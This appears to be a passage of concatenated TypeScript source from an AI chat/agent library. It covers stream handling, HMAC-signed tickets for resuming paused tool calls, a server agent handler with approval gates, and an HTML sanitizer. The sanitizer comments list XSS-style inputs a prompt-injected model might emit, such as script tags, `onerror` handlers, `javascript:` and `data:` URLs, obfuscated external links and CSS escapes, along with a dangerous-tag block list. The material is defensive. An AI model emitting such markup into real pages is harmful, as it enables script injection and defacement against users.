target.updateMessage?.(messageId, { status: 'completed' });\n if (e.usage) {\n try { target.setUsage?.(messageId, e.usage); } catch { /* target may not implement setUsage */ }\n }\n break;\n }\n };\n}\n\n/**\n * Bridge a `ReadableStream` (what the transport returns) to the\n * `AsyncIterable<AparteStreamEvent>` `runStreamAgent` consumes, cancelling the\n * reader **synchronously** on abort so a user \"stop\" cuts the in-flight read.\n * Used by `AparteClient` when building `transportCall` for the\n * runner. Mirrors the inline loop's `reader.read()` loop + `reader.cancel()`.\n */\nexport function readableToAsyncIterable(\n stream: ReadableStream<AparteStreamEvent>,\n signal: AbortSignal,\n): AsyncIterable<AparteStreamEvent> {\n return {\n [Symbol.asyncIterator](): AsyncIterator<AparteStreamEvent> {\n const reader = stream.getReader();\n // `cancel()` returns a promise, which REJECTS when the abort already errored\n // the stream (an aborted fetch errors its body first). `try` catches only a\n // synchronous throw — a released reader — so the rejection is caught too, or\n // every Stop at that moment printed an uncaught AbortError.\n const onAbort = () => {\n try { reader.cancel().catch(() => { /* best effort */ }); } catch { /* best effort */ }\n };\n if (signal.aborted) onAbort();\n else signal.addEventListener('abort', onAbort, { once: true });\n return {\n async next(): Promise<IteratorResult<AparteStreamEvent>> {\n const { done, value } = await reader.read();\n if (done) return { done: true, value: undefined };\n return { done: false, value };\n },\n async return(): Promise<IteratorResult<AparteStreamEvent>> {\n signal.removeEventListener('abort', onAbort);\n // CANCEL, then release. Releasing a reader does not stop the\n // source: the provider's `start()` keeps draining the vendor\n // body, so the model kept generating (and billing) whenever the\n // runner walked away from a turn — a rejected tool, a turn\n // limit, a missing handler. The inline loop got this fix; this\n // path, which the docs recommend, did not.\n try { await reader.cancel(); } catch { /* best effort */ }\n try { reader.releaseLock(); } catch { /* best effort */ }\n return { done: true, value: undefined };\n },\n };\n },\n };\n}\n","/**\n * The continuation ticket of a suspended agent run (`createAparteAgentHandler`).\n *\n * Between the pause and the resume, the run's pending calls travel through the browser,\n * so the server must not take them back on the client's word: a client that could name\n * its own \"pending, approved\" call would reach a server tool the model never asked for.\n * The server signs the calls it emitted and runs only those.\n *\n * What it does not do, and the guide says so: it does not make a tool's input\n * trustworthy — the MODEL chose it, so a tool still checks its own rights — and it is not\n * single-use, because a server that stores nothing cannot tell a replay from a first use\n * (the handler's `onTicket` is the hook for a host that can).\n *\n * Web Crypto only: present in browsers, Node ≥ 19, Deno, Bun and Workers. Node 18 passes\n * its own `SubtleCrypto` to the handler.\n */\n\n/** A call the ticket vouches for, as the model emitted it. */\nexport interface AparteTicketCall {\n id: string;\n name: string;\n input: unknown;\n}\n\n/** What the server signs when a run suspends. */\nexport interface AparteTicketPayload {\n v: 1;\n /** When it was signed, in ms since the epoch. */\n iat: number;\n /** The assistant message the run was streaming — a ticket answers that message only. */\n messageId: string;\n calls: AparteTicketCall[];\n}\n\nconst encoder = new TextEncoder();\n\n/**\n * JSON with its object keys sorted, so the same input signs and compares the same\n * whatever order a serializer wrote its keys in. `undefined` members are dropped, as\n * `JSON.stringify` drops them.\n */\nexport function canonicalJson(value: unknown): string {\n if (Array.isArray(value)) return `[${value.map((v) => canonicalJson(v === undefined ? null : v)).join(',')}]`;\n if (value && typeof value === 'object') {\n const entries = Object.entries(value as Record<string, unknown>)\n .filter(([, v]) => v !== undefined)\n .sort(([a], [b]) => (a < b ? -1 : a > b ? 1 : 0));\n return `{${entries.map(([k, v]) => `${JSON.stringify(k)}:${canonicalJson(v)}`).join(',')}}`;\n }\n return JSON.stringify(value ?? null);\n}\n\nfunction toBase64Url(bytes: Uint8Array): string {\n let binary = '';\n for (const byte of bytes) binary += String.fromCharCode(byte);\n return btoa(binary).replace(/\\+/g, '-').replace(/\\//g, '_').replace(/=+$/, '');\n}\n\nfunction fromBase64Url(text: string): Uint8Array {\n if (!/^[A-Za-z0-9_-]*$/.test(text)) throw new Error('not base64url');\n const binary = atob(text.replace(/-/g, '+').replace(/_/g, '/'));\n return Uint8Array.from(binary, (c) => c.charCodeAt(0));\n}\n\nfunction hmacKey(secret: string, subtle: SubtleCrypto): Promise<CryptoKey> {\n return subtle.importKey('raw', encoder.encode(secret), { name: 'HMAC', hash: 'SHA-256' }, false, ['sign', 'verify']);\n}\n\n/** `base64url(payload).base64url(HMAC-SHA256(secret, payload))`, the payload in canonical JSON. */\nexport async function signTicket(payload: AparteTicketPayload, secret: string, subtle: SubtleCrypto): Promise<string> {\n const body = encoder.encode(canonicalJson(payload));\n const signature = new Uint8Array(await subtle.sign('HMAC', await hmacKey(secret, subtle), body));\n return `${toBase64Url(body)}.${toBase64Url(signature)}`;\n}\n\n/**\n * The payload, if the signature matches one of `secrets` (the first signs, all verify, so\n * a secret can be rotated) and it is not older than `maxAgeMs`; `null` otherwise — for a\n * forged, expired or malformed ticket alike, so a caller cannot probe which it was.\n */\nexport async function verifyTicket(\n ticket: string,\n secrets: readonly string[],\n subtle: SubtleCrypto,\n maxAgeMs: number,\n now: number = Date.now(),\n): Promise<AparteTicketPayload | null> {\n const parts = ticket.split('.');\n if (parts.length !== 2 || !parts[0] || !parts[1]) return null;\n let body: Uint8Array;\n let signature: Uint8Array;\n try {\n body = fromBase64Url(parts[0]);\n signature = fromBase64Url(parts[1]);\n } catch {\n return null;\n }\n let valid = false;\n for (const secret of secrets) {\n // `verify`, not a comparison of two strings: constant time.\n if (await subtle.verify('HMAC', await hmacKey(secret, subtle), signature, body)) {\n valid = true;\n break;\n }\n }\n if (!valid) return null;\n let payload: AparteTicketPayload;\n try {\n payload = JSON.parse(new TextDecoder().decode(body)) as AparteTicketPayload;\n } catch {\n return null;\n }\n if (payload?.v !== 1 || typeof payload.iat !== 'number' || typeof payload.messageId !== 'string' || !Array.isArray(payload.calls)) {\n return null;\n }\n if (now - payload.iat > maxAgeMs) return null;\n return payload;\n}\n\n/** Same calls, in the same order: ids, names and inputs (compared canonically). */\nexport function sameCalls(a: readonly AparteTicketCall[], b: readonly AparteTicketCall[]): boolean {\n return a.length === b.length && a.every((call, i) => {\n const other = b[i]!;\n return call.id === other.id && call.name === other.name && canonicalJson(call.input) === canonicalJson(other.input);\n });\n}\n","import { runStreamAgent, unansweredTail } from '@aparte/engine';\nimport type { StreamChatRequest, StreamDeferredOutcome, StreamRunEvent } from '@aparte/engine';\nimport type { AparteChatRequest, AparteStreamEvent } from '../types/chat.js';\nimport type { AparteAIProvider } from '../types/model-provider.js';\nimport type { AparteApprovalPolicy, AparteTool, AparteToolCall, AparteToolHandler } from '../types/tools.js';\nimport type { AparteTransport } from './types.js';\nimport { AparteDirectTransport } from './direct-transport.js';\nimport { AparteError } from '../types/errors.js';\nimport { readableToAsyncIterable } from '../client/stream-adapter.js';\nimport { sameCalls, signTicket, verifyTicket, type AparteTicketCall } from './agent-ticket.js';\n\n/** A server tool: its definition (what the model sees) and its handler (what runs here). */\nexport interface AparteAgentTool {\n tool: AparteTool;\n handler: AparteToolHandler;\n /**\n * Accept the `payload` an approval may carry — data merged into the call's input.\n * Off by default: from a browser, a payload rewrites what the model chose to call\n * with, so only a tool whose approval UI edits the arguments on purpose opts in.\n */\n acceptsApprovalPayload?: boolean;\n}\n\nexport interface AparteAgentHandlerOptions {\n /**\n * Your server-side format adapters, keyed by the `providerId` the client sends. A page\n * that registers no provider sends none, and the handler runs its only one; with\n * several, the page names one.\n */\n providers: Record<string, AparteAIProvider>;\n /**\n * The model a turn runs on when the page selected none, which is the case when the\n * page registers no provider of its own. A model the page selects wins.\n */\n defaultModel?: string;\n /**\n * Gate run on EVERY request before any work. **Required**, for the reason\n * `createAparteChatHandler` gives: this endpoint spends your key and runs your\n * tools. Return `false` for 401, a `Response` to answer yourself, `true` to proceed.\n */\n authorize: (req: Request) => boolean | Response | Promise<boolean | Response>;\n /**\n * Signs the pending calls of a suspended run, so a resume runs only calls this\n * server emitted. **Required**, at least 32 characters. An array rotates: the first\n * signs, all verify.\n */\n secret: string | readonly string[];\n /** The tools that run here. `tool.needsApproval` is the gate. */\n tools?: readonly AparteAgentTool[];\n /** The vendor key for a providerId, from env or a secret store. */\n resolveKey?: (providerId: string) => string | undefined | Promise<string | undefined>;\n /** Server-side rules, per call: `allow`, `ask`, `deny` (refused without asking). */\n approvalPolicy?: AparteApprovalPolicy;\n /**\n * Accept tools the browser declares and runs itself (`ask_user`). `true` by default;\n * `false` refuses them; a list allows those names only. A browser tool named like a\n * server tool is always refused.\n */\n clientTools?: boolean | readonly string[];\n /**\n * Rewrite the request before the run — impose your system prompt, drop messages. The\n * resume checks read what it returns: the loop runs on that, not on what the browser sent.\n */\n prepareRequest?: (request: AparteChatRequest, req: Request) => AparteChatRequest | Promise<AparteChatRequest>;\n /** How many model turns one run may take before it stops. @default 10 */\n maxTurns?: number;\n /** How long one tool call may run, in milliseconds, before it is abandoned. @default 300000 (5 minutes) */\n toolTimeoutMs?: number;\n /** How long a suspended run can wait for its answer. @default 7 days */\n ticketMaxAgeMs?: number;\n /**\n * Called with a ticket's id before a resume. Return `false` to refuse it (409) — the\n * hook for a host that can remember used tickets and make them single-use. A server\n * that stores nothing cannot tell a replay from a first use.\n */\n onTicket?: (ticketId: string) => boolean | Promise<boolean>;\n /** How the vendor is called. @default an `AparteDirectTransport` (the key is on this server by design). */\n transport?: AparteTransport;\n /** Web Crypto. @default `globalThis.crypto.subtle`; on Node 18, pass `(await import('node:crypto')).webcrypto.subtle`. */\n crypto?: SubtleCrypto;\n}\n\n/** What `createAgentStreamRunner` POSTs. */\nexport interface AparteAgentRequestBody {\n v: 1;\n /** Absent when the page registered no provider: the handler runs its only one. */\n providerId?: string;\n messageId: string;\n request: AparteChatRequest;\n /** Definitions of the tools the browser runs; the server marks them external. */\n clientTools?: AparteTool[];\n resume?: { ticket: string; outcomes: Record<string, StreamDeferredOutcome> };\n}\n\nconst DEFAULT_TICKET_MAX_AGE_MS = 7 * 24 * 60 * 60 * 1000;\n\n/**\n * Build a framework-free handler that runs the agent loop on your server — next to your\n * tools — and streams it to `createAgentStreamRunner` in the browser.\n *\n * The browser's `AparteClient` keeps doing what it does: rows, Stop, the approval panel\n * and your approval policy. A call that needs a person, or a tool that runs in the\n * browser, SUSPENDS the run: the stream ends on `run-suspended` with a signed ticket, the\n * page asks, and a second request carries the ticket and the answer. Nothing is stored\n * here — the paused call lives in the conversation the app saves — so the person can\n * leave and answer days later.\n *\n * The wire is NDJSON: one `StreamRunEvent` per line, the suspension line with its\n * `ticket`, and a `run-error` line (sanitised) when the run fails after the stream began.\n *\n * ```ts\n * // app/api/agent/route.ts (Next.js)\n * import { createAparteAgentHandler } from '@aparte/core';\n * export const POST = createAparteAgentHandler({\n * providers: { openai: createOpenAICompatProvider(presets.OPENAI) },\n * resolveKey: () => process.env.OPENAI_KEY,\n * authorize: (req) => isSignedIn(req),\n * secret: process.env.AGENT_SECRET!,\n * tools: [{ tool: readFile, handler: readFileHandler }],\n * });\n * ```\n */\nexport function createAparteAgentHandler(options: AparteAgentHandlerOptions): (req: Request) => Promise<Response> {\n const secrets = typeof options.secret === 'string' ? [options.secret] : [...options.secret];\n if (secrets.length === 0 || secrets.some((s) => typeof s !== 'string' || s.length < 32)) {\n throw new Error('createAparteAgentHandler: `secret` must be at least 32 characters — it signs the pending tool calls of a suspended run.');\n }\n const tools = new Map((options.tools ?? []).map((t) => [t.tool.name, t]));\n // A server holds the vendor key by design, so the browser-key warning does not apply.\n const transport = options.transport ?? new AparteDirectTransport({ byok: true });\n const maxAge = options.ticketMaxAgeMs ?? DEFAULT_TICKET_MAX_AGE_MS;\n\n return async function handler(req: Request): Promise<Response> {\n const verdict = await options.authorize(req);\n if (verdict instanceof Response) return verdict;\n if (!verdict) return jsonError(401, 'Unauthorized.');\n\n const subtle = options.crypto ?? globalThis.crypto?.subtle;\n if (!subtle) {\n return jsonError(500, 'No Web Crypto here: pass `crypto` (on Node 18, the `webcrypto.subtle` of the built-in crypto module).');\n }\n\n let body: AparteAgentRequestBody;\n try {\n body = (await req.json()) as AparteAgentRequestBody;\n } catch {\n return jsonError(400, 'Invalid JSON body.');\n }\n if (body?.v !== 1) return jsonError(400, 'Unsupported agent wire version: expected v 1.');\n if ((body.providerId !== undefined && typeof body.providerId !== 'string') || typeof body.messageId !== 'string' || !Array.isArray(body.request?.messages)) {\n return jsonError(400, 'Body must be { v: 1, providerId?, messageId, request: { messages } }.');\n }\n // A forced call (`toolChoice: { name, input }`) runs its handler before the model\n // speaks, with no gate and no policy — from a browser, that is a direct call to a\n // server tool. The string forms (`auto`, `none`, `required`) stay allowed.\n if (body.request.toolChoice && typeof body.request.toolChoice === 'object') {\n return jsonError(400, 'A forced tool call cannot come from the browser.');\n }\n // A page with no provider of its own names none: the handler's only one runs.\n const names = Object.keys(options.providers);\n const providerId = body.providerId || (names.length === 1 ? names[0]! : undefined);\n if (!providerId) {\n return jsonError(400, `Name the providerId: this handler has ${names.length ? names.join(', ') : 'no provider'}.`);\n }\n const provider = Object.hasOwn(options.providers, providerId) ? options.providers[providerId] : undefined;\n if (!provider) {\n return jsonError(400, `Unknown providerId \"${providerId}\". Register it in the handler's providers map.`);\n }\n\n const clientTools = Array.isArray(body.clientTools) ? body.clientTools : [];\n for (const t of clientTools) {\n if (typeof t?.name !== 'string') return jsonError(400, 'A browser tool needs a name.');\n if (options.clientTools === false) return jsonError(400, 'This endpoint accepts no browser tools.');\n if (tools.has(t.name)) return jsonError(400, `Browser tool \"${t.name}\" has the name of a server tool.`);\n if (Array.isArray(options.clientTools) && !options.clientTools.includes(t.name)) {\n return jsonError(400, `Browser tool \"${t.name}\" is not allowed here.`);\n }\n }\n\n let request: AparteChatRequest = {\n ...body.request,\n ...(!body.request.modelId && options.defaultModel ? { modelId: options.defaultModel } : {}),\n tools: [...[...tools.values()].map((t) => t.tool), ...clientTools],\n };\n if (options.prepareRequest) request = await options.prepareRequest(request, req);\n\n // The calls the loop will resume, read from what it will RUN ON — after\n // `prepareRequest`, which may drop messages: a history ending on a system message\n // passed a check made before it, and ended on a forged call once the host dropped\n // system messages.\n const tail = unansweredTail(request.messages as StreamChatRequest['messages']);\n // A history that ends on unanswered calls is a RESUME: only a ticket this server\n // signed may start one. Without that check a forged envelope ran an ungated call,\n // or came back signed as if the model had made it.\n if (!body.resume && tail.length > 0) {\n return jsonError(400, 'The history ends on unanswered tool calls: a resume needs its ticket.');\n }\n\n let outcomes: Record<string, StreamDeferredOutcome> = {};\n if (body.resume) {\n const payload = typeof body.resume.ticket === 'string'\n ? await verifyTicket(body.resume.ticket, secrets, subtle, maxAge)\n : null;\n // A ticket answers the message it was signed for, and nothing else.\n if (!payload || payload.messageId !== body.messageId) {\n return jsonError(400, 'Invalid or expired continuation ticket.');\n }\n if (!sameCalls(payload.calls, tail.map((c) => ({ id: c.id, name: c.name, input: c.input })))) {\n return jsonError(400, 'The pending tool calls do not match the ticket.');\n }\n const ids = new Set(payload.calls.map((c) => c.id));\n const given = body.resume.outcomes && typeof body.resume.outcomes === 'object' ? body.resume.outcomes : {};\n for (const id of Object.keys(given)) {\n if (!ids.has(id)) return jsonError(400, `No pending call \"${id}\" in the ticket.`);\n }\n if (options.onTicket && !(await options.onTicket(body.resume.ticket.split('.')[1]!))) {\n return jsonError(409, 'This continuation ticket was already used.');\n }\n outcomes = withoutUnacceptedPayloads(given, payload.calls, tools);\n }\n\n const key = await options.resolveKey?.(providerId);\n const external = new Set(clientTools.map((t) => t.name));\n const rule = (call: AparteToolCall) => options.approvalPolicy?.(call, tools.get(call.name)?.tool);\n\n const run = new AbortController();\n if (req.signal.aborted) run.abort();\n else req.signal.addEventListener('abort', () => run.abort(), { once: true });\n const encoder = new TextEncoder();\n // The one asynchronous write — signing a suspension. `run-suspended` is a run's\n // last event, so awaiting this single promise before closing is enough.\n let pendingWrite: Promise<void> | undefined;\n\n const stream = new ReadableStream<Uint8Array>({\n start(controller) {\n let open = true;\n const write = (line: object): void => {\n if (!open) return;\n try { controller.enqueue(encoder.encode(JSON.stringify(line) + '\\n')); } catch { open = false; }\n };\n const close = (): void => {\n if (!open) return;\n open = false;\n try { controller.close(); } catch { /* already closed by a cancel */ }\n };\n const emitter = (event: StreamRunEvent): void => {\n if (event.type === 'tool-failed') {\n // A server tool's error can name a path, a host, a connection\n // string: the page hears that it failed, the log hears why.\n console.error(`[aparte] tool call ${event.toolCallId} failed:`, event.error);\n write({ ...event, error: 'The tool failed.' });\n return;\n }\n if (event.type !== 'run-suspended') {\n write(event);\n return;\n }\n const calls: AparteTicketCall[] = event.pending.map((p) => ({ id: p.toolCallId, name: p.name, input: p.input }));\n pendingWrite = signTicket({ v: 1, iat: Date.now(), messageId: body.messageId, calls }, secrets[0]!, subtle)\n .then((ticket) => write({ ...event, ticket }));\n };\n void runStreamAgent({\n messageId: body.messageId,\n providerId,\n baseRequest: request as StreamChatRequest,\n transportCall: async (r) => {\n const response = await transport.chat(provider, r as AparteChatRequest, key, { providerId, signal: run.signal });\n return typeof response === 'string'\n ? response\n : readableToAsyncIterable(response as ReadableStream<AparteStreamEvent>, run.signal);\n },\n toolLookup: (name) => {\n const t = tools.get(name);\n // The request rides along: a tool checks the caller's rights itself,\n // since the model — not the caller — chose the arguments.\n return t ? (call, signal) => t.handler(call as AparteToolCall, signal, { request: req }) : undefined;\n },\n toolConfigLookup: (name) => {\n if (external.has(name)) return { external: true };\n const t = tools.get(name);\n if (!t) return undefined;\n return {\n ...(t.tool.maxTurns !== undefined ? { maxTurns: t.tool.maxTurns } : {}),\n needsApproval: (call) => {\n const ruling = rule(call as AparteToolCall);\n if (ruling?.verdict === 'allow') return false;\n if (ruling?.verdict) return ruling.verdict;\n return Boolean(t.tool.needsApproval);\n },\n };\n },\n // Reached only for a server `deny`: an `ask` is deferred to the page.\n approvalResolver: async (call) => ({\n approved: false,\n reason: rule(call as AparteToolCall)?.reason?.trim() || 'Tool execution was refused by the server policy.',\n }),\n deferral: { outcomes },\n emitter,\n signal: run.signal,\n ...(options.maxTurns !== undefined ? { maxTurns: options.maxTurns } : {}),\n ...(options.toolTimeoutMs !== undefined ? { toolTimeoutMs: options.toolTimeoutMs } : {}),\n }).then(async () => {\n await pendingWrite;\n close();\n }, async (error: unknown) => {\n // The vendor's words stay here: they can carry a key, a URL, an account.\n console.error('[aparte] agent run failed', error);\n await pendingWrite?.catch(() => {});\n write({\n type: 'run-error',\n message: 'The agent run failed.',\n code: error instanceof AparteError ? error.code : 'AGENT_RUN_FAILED',\n });\n close();\n });\n },\n cancel() {\n run.abort();\n },\n });\n\n return new Response(stream, { headers: { 'Content-Type': 'application/x-ndjson' } });\n };\n}\n\n/** A decision's `payload` rewrites the tool's input; only a tool that says so accepts one from a browser. */\nfunction withoutUnacceptedPayloads(\n outcomes: Record<string, StreamDeferredOutcome>,\n calls: readonly AparteTicketCall[],\n tools: ReadonlyMap<string, AparteAgentTool>,\n): Record<string, StreamDeferredOutcome> {\n const out: Record<string, StreamDeferredOutcome> = {};\n for (const [id, outcome] of Object.entries(outcomes)) {\n const name = calls.find((c) => c.id === id)?.name;\n if (outcome?.kind === 'decision' && outcome.payload !== undefined && !(name && tools.get(name)?.acceptsApprovalPayload)) {\n const { payload: _dropped, ...rest } = outcome;\n out[id] = rest;\n } else {\n out[id] = outcome;\n }\n }\n return out;\n}\n\nfunction jsonError(status: number, message: string): Response {\n return new Response(JSON.stringify({ error: { message } }), {\n status,\n headers: { 'Content-Type': 'application/json' },\n });\n}\n","/**\n * Zero-dependency HTML sanitizer for provider output.\n *\n * Aparte renders LLM-authored content: a markdown or highlight provider turns the\n * assistant's text into HTML that is then injected via `innerHTML`. Prompt\n * injection can make a model emit arbitrary markup (`<img onerror=…>`,\n * `<script>`, `javascript:` URLs), so that HTML is **untrusted** and must be\n * scrubbed before it touches the DOM.\n *\n * This is an allowlist sanitizer built on the browser's own parser: the HTML is\n * parsed into an inert document (scripts never execute during\n * `DOMParser.parseFromString`), the tree is rebuilt keeping only known-safe tags\n * and attributes, then re-serialized. It is deliberately conservative and covers\n * the realistic threat model (LLM-emitted markup). For hardened, audited\n * coverage, register DOMPurify via `aparteGlobalConfig.setHtmlSanitizer`.\n */\n\nexport type AparteSanitizer = (html: string) => string;\n\n/**\n * Tags dropped wholesale — content and all (never unwrapped to text).\n *\n * Exported for the DOM-free path's own suite: both of `fallbackScrub`'s regexes\n * are built from this Set, and the test that proves it loops over the Set rather\n * than a copy. Not re-exported from the package barrel — it is core's list, not\n * a contract.\n */\nexport const DANGEROUS_TAGS = new Set([\n 'script', 'style', 'iframe', 'frame', 'frameset', 'object', 'embed',\n 'applet', 'form', 'button', 'textarea', 'select', 'option', 'optgroup',\n 'link', 'meta', 'base', 'title', 'head', 'html', 'body', 'template',\n 'noscript', 'svg', 'math', 'portal',\n]);\n\n/** Tags kept as-is (with attributes filtered). Anything else is unwrapped to its children. */\nconst ALLOWED_TAGS = new Set([\n 'a', 'p', 'br', 'hr', 'div', 'span', 'pre', 'code', 'kbd', 'samp', 'var',\n 'strong', 'b', 'em', 'i', 'u', 's', 'strike', 'del', 'ins', 'mark', 'small', 'sub', 'sup',\n 'blockquote', 'q', 'cite',\n 'ul', 'ol', 'li', 'dl', 'dt', 'dd',\n 'h1', 'h2', 'h3', 'h4', 'h5', 'h6',\n 'table', 'thead', 'tbody', 'tfoot', 'tr', 'td', 'th', 'caption', 'colgroup', 'col',\n 'img', 'figure', 'figcaption', 'picture', 'source',\n 'input', // GFM task-list checkboxes only — `copyAttributes` refuses every other `type`\n 'abbr', 'details', 'summary', 'time', 'wbr', 'address',\n]);\n\n/** Attributes allowed on any element. */\nconst GLOBAL_ATTRS = new Set([\n // `id`/`name` are intentionally NOT allowlisted — they enable DOM clobbering\n // and LLM-authored markup has no legitimate need for author-controlled ids.\n 'class', 'style', 'title', 'dir', 'lang', 'role', 'align',\n 'aria-label', 'aria-hidden', 'aria-describedby', 'aria-level',\n]);\n\n/** Extra attributes allowed on specific tags. */\nconst TAG_ATTRS: Record<string, Set<string>> = {\n // `target` and `rel` are NOT copied from the model's markup — `copyAttributes`\n // decides both below. Legacy `name` is dropped too (obsolete + a DOM-clobbering\n // vector).\n a: new Set(['href']),\n img: new Set(['src', 'alt', 'width', 'height', 'loading', 'srcset', 'sizes', 'decoding']),\n source: new Set(['src', 'srcset', 'type', 'media', 'sizes']),\n input: new Set(['type', 'checked', 'disabled']),\n td: new Set(['colspan', 'rowspan', 'headers']),\n th: new Set(['colspan', 'rowspan', 'scope', 'headers']),\n col: new Set(['span', 'width']),\n colgroup: new Set(['span']),\n ol: new Set(['start', 'type', 'reversed']),\n time: new Set(['datetime']),\n details: new Set(['open']),\n};\n\n/** URL-bearing attributes whose scheme must be validated. */\nconst URL_ATTRS = new Set(['href', 'src']);\n/** Schemes allowed in href/src. */\nconst SAFE_URL = /^(?:https?:|mailto:|tel:|ftp:|sms:)/i;\n/** In-page / relative references (no explicit scheme). */\nconst RELATIVE_URL = /^(?:[#/.?]|[a-z0-9._~%+-]+(?:[/?#]|$))/i;\n/** data: URLs are only honoured for images, and only for image media types. */\n/**\n * `data:` URLs are only honoured for images, and only for a NAMED image subtype.\n *\n * The subtype is required, so `data:image/,x` and `data:image/;whatever,` (no media\n * type at all) are refused.\n *\n * `svg+xml` is deliberately kept. An SVG loaded through `<img src>` runs in\n * secure-static mode — no scripts, no external fetches — in every engine, and\n * dropping it would break the legitimate case (a model emitting an inline chart\n * or icon). What it must NOT do is travel: an app that moves this URL into an\n * `<object>`, `<embed>` or an iframe leaves secure-static mode and the SVG\n * becomes executable. That constraint belongs to whoever re-hosts it.\n */\nconst SAFE_DATA_IMG = /^data:image\\/(?:png|jpe?g|gif|webp|avif|bmp|x-icon|svg\\+xml)[;,]/i;\n/** Whitespace + C0 control chars, used to obfuscate a scheme (e.g. \" javascript:\" or \"java\\tscript:\"). */\n// eslint-disable-next-line no-control-regex -- stripping C0 control chars is intentional (anti-obfuscation)\nconst CONTROL_WS = /[\\u0000-\\u0020]+/g;\n\n/**\n * A URL that leaves this site: `https://host`, `http://host`, the scheme-relative\n * `//host` a browser resolves against the page's own scheme, and the two\n * spellings of those a URL parser accepts but a reader does not expect.\n *\n * It is tested against a value already run through `CONTROL_WS`, the same\n * normalisation the accept path (`isSafeUrl`) applies, so `//attacker.example` and\n * `\" https://attacker.example\"` count as external and get a new tab rather than\n * navigating the frame the chat lives in.\n *\n * Two more spellings are external, and the allowlist accepts both: a BACKSLASH is a\n * slash to a URL parser on a special scheme (`/\\evil.example` matches\n * `RELATIVE_URL`'s leading `/`), and a SINGLE slash after an explicit scheme enters\n * authority state when that scheme differs from the page's (`http:/evil.example`\n * matches `SAFE_URL`). With Node's WHATWG URL against base\n * `https://site.example/chat/`: `/\\evil.example` → `https://evil.example/`,\n * `http:/evil.example` and `http:/\\evil.example` → `http://evil.example/`. Hence\n * `[/\\\\]` in both branches.\n *\n * `https:/path` — a single slash after the SAME scheme — matches too and resolves\n * same-site. Sending that one degenerate spelling to a new tab is harmless; the\n * alternative is resolving, which is exactly what this must not do.\n *\n * Deliberately NOT `new URL(v, document.baseURI)`: this module has a documented\n * DOM-free path, and resolving would silently turn the rule into \"cross-origin\"\n * rather than \"external\".\n */\nconst EXTERNAL_URL = /^(?:https?:)?[/\\\\]{2}|^https?:[/\\\\]/i;\n\n/** Core owns this prefix on every class it emits, so nothing model-authored may wear one. */\nconst APARTE_CLASS = /^aparte-/i;\n\n/**\n * True when a URL is safe to place in a `href`/`src` attribute. Exported so a\n * streaming renderer (which bypasses the one-shot `sanitizeHtml`) can apply the\n * same URL policy live. `tag` is the host element ('a', 'img', …) — `data:image`\n * URLs are only allowed on `img`.\n */\n/**\n * `srcset` carries N candidate URLs, so the single-URL check does not fit it —\n * and splitting on commas is unreliable, because a `data:` URL legitimately\n * contains one (`data:image/png;base64,AAA 2x, small.png 1x`).\n *\n * So rather than parse candidates, every SCHEME token in the value must itself\n * resolve to an allowed URL: a relative-only srcset has none and passes, while a\n * smuggled scheme is rejected wherever in the value it sits.\n *\n * A `srcset` of `data:text/html,<script>…</script> 1x` is rejected, the same as that\n * URL on `src`. A browser only ever decodes a srcset candidate as an image, never as\n * a document, so the risk is low, but the allowlist gives one answer for one URL\n * whichever attribute carries it.\n *\n * `<source>` is validated as `img`: inside a `<picture>` its candidates feed an\n * `<img>`, so the `data:image` policy is the same one that applies there.\n */\nfunction isSafeSrcset(value: string, tag: string): boolean {\n const urlTag = tag === 'source' ? 'img' : tag;\n for (const m of value.matchAll(/[a-z][a-z0-9+.-]*:[^\\s,]*/gi)) {\n if (!isSafeUrl(m[0], urlTag)) return false;\n }\n return true;\n}\n\nexport function isSafeUrl(value: string, tag: string): boolean {\n const v = value.replace(CONTROL_WS, '');\n if (!v) return true; // empty href/src is harmless\n if (SAFE_URL.test(v)) return true;\n if (tag === 'img' && SAFE_DATA_IMG.test(v)) return true;\n // Any other explicit scheme (javascript:, vbscript:, data: on non-img, …) is rejected.\n if (/^[a-z][a-z0-9+.-]*:/i.test(v)) return false;\n return RELATIVE_URL.test(v);\n}\n\n/**\n * Inert, presentational inline-style properties a syntax highlighter / markdown\n * renderer actually emits. An allowlist (not a blocklist) so layout & positioning\n * properties — `position`, `z-index`, `inset`, `top/left/right/bottom`, `width`,\n * `height`, `transform`, … — are dropped by default: those are what a hostile\n * `style` would need to build a full-viewport click-jacking overlay.\n */\nconst SAFE_STYLE_PROPS = new Set([\n 'color', 'background-color',\n 'font-style', 'font-weight', 'font-family', 'font-size',\n 'font-variant', 'font-variant-ligatures',\n 'text-decoration', 'text-decoration-line', 'text-decoration-color', 'text-decoration-style',\n 'white-space',\n]);\n\n/**\n * A custom property a highlighter may set, as opposed to one of ours it may not.\n *\n * The allowlist above covers the properties a syntax highlighter / markdown renderer\n * actually emits, and that includes dual-theme highlighting. Shiki's documented way to\n * render for light AND dark is `defaultColor: false`, which emits NOTHING but custom\n * properties (`--shiki-light`, `--shiki-dark`) and leaves the choosing to CSS; if those\n * were dropped, every code block would come out white.\n *\n * Two rules, and the second is the one that matters. A custom property is inert on its\n * own — it paints nothing until some CSS reads it — so the value scrubbing below is what\n * keeps it safe, and it applies unchanged. But core's ENTIRE theme is custom properties,\n * so a model-authored block setting `--aparte-primary` could repaint the chat around it.\n * That is not highlighting, it is defacement with our own paint, so our namespace is\n * refused.\n */\nfunction isSafeCustomProperty(prop: string): boolean {\n /*\n * A backslash disqualifies the name outright, and the reason is the asymmetry\n * between the two checks in `scrubStyle`.\n *\n * `SAFE_STYLE_PROPS.has(prop)` is an ALLOWLIST, so an escape defeats itself:\n * `col\\6fr` is not in the set, so the declaration is dropped. This test is a\n * DENYLIST — \"any custom property except ours\" — and an escape defeats a denylist\n * the other way round: `--\\61 parte-text` does not start with `--aparte-`, so it\n * passed, and the browser decodes the ident back to `--aparte-text`. A\n * prompt-injected model could repaint core's own theme inside whatever element a\n * markdown or highlight provider gave it.\n *\n * Refused rather than decoded, for the reason the value check below already gives:\n * decoding is the general fix and is easy to get wrong (stripping the escape from\n * `u\\72 l(` yields `ul(`, not `url(` — which is how an earlier attempt passed its\n * own test). No custom property worth setting from model-authored content needs a\n * CSS escape, so refusing costs nothing and leaves nothing to decode correctly.\n *\n * This does not rest on how a particular engine decodes anything: the invariant is\n * that our namespace is unreachable, and it is enforced by the escape never\n * surviving rather than by predicting what it would become.\n */\n if (prop.includes('\\\\')) return false;\n return prop.startsWith('--') && !prop.startsWith('--aparte-');\n}\n\n/**\n * Keep only allowlisted inline-style declarations, and reject any `url()` beacon,\n * legacy `expression()`, or scheme even on an allowlisted property.\n */\nfunction scrubStyle(value: string): string | null {\n const kept: string[] = [];\n for (const decl of value.split(';')) {\n const trimmed = decl.trim();\n const idx = trimmed.indexOf(':');\n if (idx === -1) 